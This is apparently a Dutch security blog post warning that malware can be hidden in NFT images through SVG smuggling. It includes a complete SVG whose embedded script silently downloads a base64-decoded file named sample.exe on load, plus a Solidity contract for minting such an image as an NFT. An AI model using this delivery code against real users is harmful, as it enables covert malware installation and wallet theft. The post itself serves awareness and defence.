C

Chainhunters

15 min
Solidity
security
nft
malware
Malware verstoppen in SVG's: Een Nieuwe Bedreiging voor NFT's
In dit artikel leggen we uit hoe malware in NFTs kan worden gestopt.

Bij Non-Fungible Tokens (NFT's), zoals digitale kunst, verzamelobjecten en andere digitale eigendommen, ontstaan naast innovatieve toepassingen ook nieuwe risico's. Een van de meest verontrustende ontwikkelingen is het verbergen van malware in SVG-bestanden (Scalable Vector Graphics), waardoor kwaadwillenden schadelijke code ongemerkt kunnen verstoppen in schijnbaar onschuldige afbeeldingen.

Wat is Malware-Smuggling in SVG's?

SVG-smuggling is een techniek waarbij schadelijke code (malware) in SVG-bestanden wordt opgenomen, bestandstypen die doorgaans als veilig worden beschouwd. SVG-bestanden zijn aantrekkelijk voor cybercriminelen, omdat ze zowel visuele als code-elementen ondersteunen. Door bijvoorbeeld JavaScript in de SVG te verwerken, kunnen aanvallers schadelijke scripts verbergen die worden geactiveerd zodra de SVG in een webbrowser wordt geopend of weergegeven. Hieronder volgt een voorbeeld van een geïnfecteerde SVG:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" width="500" height="500">
   <text x="10" y="50" font-family="Arial" font-size="20" fill="black">Open deze afbeelding in een nieuw tabblad</text>
   <script type="application/ecmascript"><![CDATA[
       document.addEventListener("DOMContentLoaded", function() {
           function base64ToArrayBuffer(base64) {
               var binary_string = window.atob(base64);
               var len = binary_string.length;
               var bytes = new Uint8Array(len);
               for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
               return bytes.buffer;
           }
           var file = 'U2FtcGxlIGZpbGUgYnkgaWFu'; // Dit is de payload base64 encoded
           var data = base64ToArrayBuffer(file);
           var blob = new Blob([data], {type: 'octet/stream'});
           var a = document.createElementNS('http://www.w3.org/1999/xhtml', 'a');
           document.documentElement.appendChild(a);
           a.setAttribute('style', 'display: none');
           var url = window.URL.createObjectURL(blob);
           a.href = url;
           a.download = 'sample.exe'; // Dit is de bestandsnaam die het script gaat downloaden
           a.click();
           window.URL.revokeObjectURL(url);
       });
   ]]></script>
</svg>

Waarom NFT's een Ideale manier zijn voor het verspreiden van Malware

NFT's, vaak gehost op blockchain-platformen zoals Ethereum, brengen unieke voordelen voor cybercriminelen met zich mee:

  1. Onuitwisbaarheid: Eenmaal geüpload naar de blockchain, kan een NFT niet worden verwijderd. Dit betekent dat malware die in een NFT is ingebed permanent beschikbaar blijft, zelfs als de oorspronkelijke maker het NFT-bestand zou willen verwijderen.
  2. Anonimiteit: Blockchain-transacties zijn pseudoniem, wat het lastig maakt om de werkelijke identiteit van de aanvaller te achterhalen en hen verantwoordelijk te houden.
  3. Verspreiding: NFT's worden vaak uitgewisseld en verhandeld op verschillende marktplaatsen, wat de verspreiding van geïnfecteerde SVG-bestanden verder bevordert en het bereik van de malware vergroot.

Deze eigenschappen maken NFT's op blockchain-platforms aantrekkelijk voor kwaadwillenden die proberen malware ongemerkt te verspreiden.

Hoe werkt het deployen van een NFT met een SVG-Malware payload?

Het gebruik van een SVG-bestand met een kwaadaardige payload als NFT brengt serieuze veiligheidsrisico’s met zich mee, vooral wanneer dit bestand wordt geüpload naar een NFT-marktplaats. Wanneer een gebruiker de NFT bekijkt of opent, kan de ingebedde malware ongemerkt worden gedownload en uitgevoerd op hun systeem.

Hieronder staat een voorbeeld van een Solidity smart contract voor het deployen van de NFT.

pragma solidity ^0.8.26;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Base64} from "@openzeppelin/contracts/utils/Base64.sol";

contract PoCSVG is ERC721 {
   struct Poc {
       string name;
       string description;
   }
   uint256 private s_tokenCounter;
   string private s_pocSvgImageUri;
   mapping(uint256 => Poc) public s_tokenIdToPoc;

   constructor(string memory pocSvgImageUri) ERC721("PoCSVG", "SVG") {
       s_tokenCounter = 0;
       s_pocSvgImageUri = pocSvgImageUri;
   }

   function mint() public {
       _safeMint(msg.sender, s_tokenCounter);
       s_tokenCounter++;
   }

   function _baseURI() internal pure override returns (string memory) {
       return "data:application/json;base64,";
   }

   function tokenURI(uint256 tokenID) public view override returns (string memory) {
       string memory imageURI = s_pocSvgImageUri;
       return string(
           abi.encodePacked(
               _baseURI(),
               Base64.encode(
                   bytes(
                       abi.encodePacked(
                           '{"name":"',
                           name(),
                           '", "description":"NFT with a PoC SVG that downloads files when clicked", ',
                           '"image":"',
                           imageURI,
                           '"}'
                       )
                   )
               )
           )
       );
   }
}

Gevolgen voor de Blockchain- en Community

De integratie van malware in NFT's kan verstrekkende gevolgen hebben:

  • Beveiligingsrisico's: Gebruikers kunnen ongewild malware downloaden en door middel van social engineering acties uitvoeren. Dit kan leiden tot datadiefstal, compromittering van wallets, systeeminfiltratie en andere schadelijke activiteiten.
  • Verlies van Vertrouwen: Toenemende beveiligingsincidenten kunnen het vertrouwen in NFT-platforms ondermijnen, wat de markt als geheel kan schaden.
  • Regelgevende Uitdagingen: Het onvermogen om kwaadaardige content effectief te reguleren op blockchain-platforms kan leiden tot strengere regelgeving en beperkingen.

Preventie en Aanbevelingen

Om deze dreiging effectief tegen te gaan, is waakzaamheid essentieel:

  • Educatie: Gebruikers moeten bewust zijn van de risico's bij het downloaden en openen van onbekende NFT's en voorzichtig omgaan met acties die automatische downloads initiëren.
  • Beveiligingsmaatregelen op Platformniveau: NFT-marktplaatsen dienen geavanceerde beveiligingsprotocollen te implementeren om schadelijke content te detecteren en te neutraliseren zodra deze wordt geüpload.

Conclusie

Het verbergen van malware in SVG-bestanden vormt een nieuwe en groeiende bedreiging in de NFT-sector. Met de stijgende populariteit van NFT's is het van cruciaal belang dat zowel ontwikkelaars als gebruikers proactief handelen om de veiligheid en integriteit van blockchain-platforms te beschermen.

Proof of Concept Repositories

Ter demonstratie van deze dreiging hebben wij twee GitHub-repositories beschikbaar gesteld:

  • SVG-Smuggler: Een Python-script dat bestanden codeert naar een Base64-string en deze in een SVG-bestand plaatst.
  • Malicious-NFT: Een voorbeeld van hoe een geïnfecteerde SVG kan worden geüpload als NFT naar de blockchain.